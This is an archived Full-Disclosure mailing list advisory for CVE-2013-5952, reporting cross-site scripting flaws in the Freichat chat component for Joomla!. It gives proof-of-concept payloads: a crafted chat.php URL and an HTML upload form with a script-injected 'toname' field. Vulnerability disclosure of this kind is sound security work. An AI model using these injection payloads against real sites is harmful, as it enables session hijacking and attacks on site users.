lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sat, 15 Mar 2014 04:43:00 -0700 (PDT)
From: Mahmoud Ghorbanzadeh <mdgh9@...oo.com>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: [CVE-2013-5952] Multiple Cross Site Scripting
	Vulnerabilities in Freichat

Hello,

Multiple cross-site scripting (XSS) vulnerabilities in Freichat
component for Joomla! allow remote attackers to inject
arbitrary web script or HTML code via (1) the id or xhash parameters to
/client/chat.php or (2) the toname parameter to /client/plugins/upload/upload.php.


File: /client/chat.php
Line: 53
POC:
http://site/client/chat.php?id=1"
></script><script>alert('XSS
1')</script>&xhash=1" <script>alert('XSS
2')</script>


File: /client/plugins/upload/upload.php
Line: 91
POC:
   </style>
    <body>
        <div
class="frei_upload_border">
        <form name="upload"
action="http://site/client/plugins/upload/upload.php"
method="post" enctype="multipart/form-data">
            <label
for="file">choose file to send</label><br/><br/>
            <input id ="fromid"
type="hidden" name="fromid"/>
            <input id="fromname"
type="hidden" name="fromname"/>
            <input id="toid"
type="hidden" name="toid"/>
                                    <!--
<input id="toname" type="hidden"
name="toname"/> -->
            <input id="toname"
type="hidden" name="toname"
value="<script>alert('XSS')</script>"/>
            <input type="file"
name="file" id="file" value="a.jpeg" />
            <br /><br/>
            <input  class ="frei_upload_button"
type="submit" name="submit" value="Send" />
        </form>
        </div>
    </body></html>

Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of
Technology's Scientific Excellence and Research Centers.

Best Regards.

Content of type "text/html" skipped

Download attachment "Freichat XSS Vulnerabilities Report.docx" of type "application/vnd.openxmlformats-officedocument.wordprocessingml.document" (48550 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists